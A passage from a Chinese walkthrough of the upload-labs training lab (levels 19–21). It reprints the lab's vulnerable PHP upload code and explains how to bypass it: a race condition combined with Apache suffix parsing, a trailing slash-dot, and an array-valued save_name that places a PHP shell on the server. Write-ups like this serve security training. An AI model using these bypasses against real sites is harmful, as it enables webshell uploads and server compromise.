    $ret = $this->checkExtension();  //檢查字尾
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
    $ret = $this->checkSize();   //檢查檔案大小
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }   
    if( $this->cls_file_exists == 1 ){  //是否已存在   
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    $ret = $this->move();  //移動檔案
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    if( $this->cls_rename_file == 1 ){   //重命名
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    return $this->resultUpload( "SUCCESS" );  
  }
......
};
           

上述代碼邏輯是先檢查字尾,再移動,然後重命名

(其實這一題可以通過上傳圖檔馬+檔案包含進行利用)

在apache1.x和apache2.x中,多個檔案字尾且遇到不認識的字尾時會從後往前解析,在上面過程中,以上傳一個shell.php.7z為例

檢查字尾、移動檔案直到重命名前都是shell.php.7z

重命名後變成xxxxxx.7z

若想利用apache解析漏洞,必須在重命名前進行,是以這裡也利用了條件競争的思路,具體做法與上一題一樣,主要是利用apache解析漏洞,這裡不多做解釋

pass-20 斜杠點繞過

源碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//擷取擴充名

        if(!in_array($file_ext,$deny_ext)) { //驗證字尾
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { //移動 上傳
                $is_upload = true;
            }else{
                $msg = '上傳出錯!';
            }
        }else{
            $msg = '禁止儲存為該類型檔案!';
        }

    } else {
        $msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
    }
}
           

這裡通過POST接收save_name,并為最終儲存結果

 pathinfo($file_name,PATHINFO_EXTENSION)為擷取擴充名函數

利用

【upload-labs】檔案上傳通關攻略

 move_uploaded_file()會忽略檔案名後面的/.

修改包

【upload-labs】檔案上傳通關攻略

 最後在伺服器上會以upload-20.php存在,注意,修改成upload.php/不行的

另外,随便上傳一個字尾檔案,可以通過檔案包含的形式利用

【upload-labs】檔案上傳通關攻略

 這裡網上有部落格說可以進行POST方式的00截斷,我認為應該是可以的,但是我沒有成功上傳

pass-21 斜杠點+數組繞過

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //檢查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上傳該類型檔案!";
    }else{
        //檢查檔案名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];  //如果沒有送出POST資料save_name規定命名 直接拿上傳的檔案原命名
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file); //取最後一個值
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上傳該字尾檔案!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1]; //加了個點 取POST的save_name[conut($file)-1],這裡應該是想辦法變為空
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "檔案上傳成功!";
                $is_upload = true;
            } else {
                $msg = "檔案上傳失敗!";
            }
        }
    }
}else{
    $msg = "請選擇要上傳的檔案!";
}
           

在這裡,首先判斷MINE類型,然後file_name後面拼接上一個點和一個POST資料save_name

故在這裡修改包需滿足

  1. MINE為image/xxx
  2. 需要有save_name[0] 和save_name,這個時候$file[count($file)-1] = $file[1] 為空
  3. save_name[0] 為upload21.php/
  4. save_name為jpg,友善$ext = end($file)=jpg,最後繞過$allow_suffix = array('jpg','png','gif');

            if (!in_array($ext, $allow_suffix))的字尾驗證

【upload-labs】檔案上傳通關攻略
【upload-labs】檔案上傳通關攻略

 另外,上面的upload21.php/ 改成upload21.php也可以的,因為這個時候在windows系統中, 字尾後面的.會忽略掉

總結

【upload-labs】檔案上傳通關攻略

繼續閱讀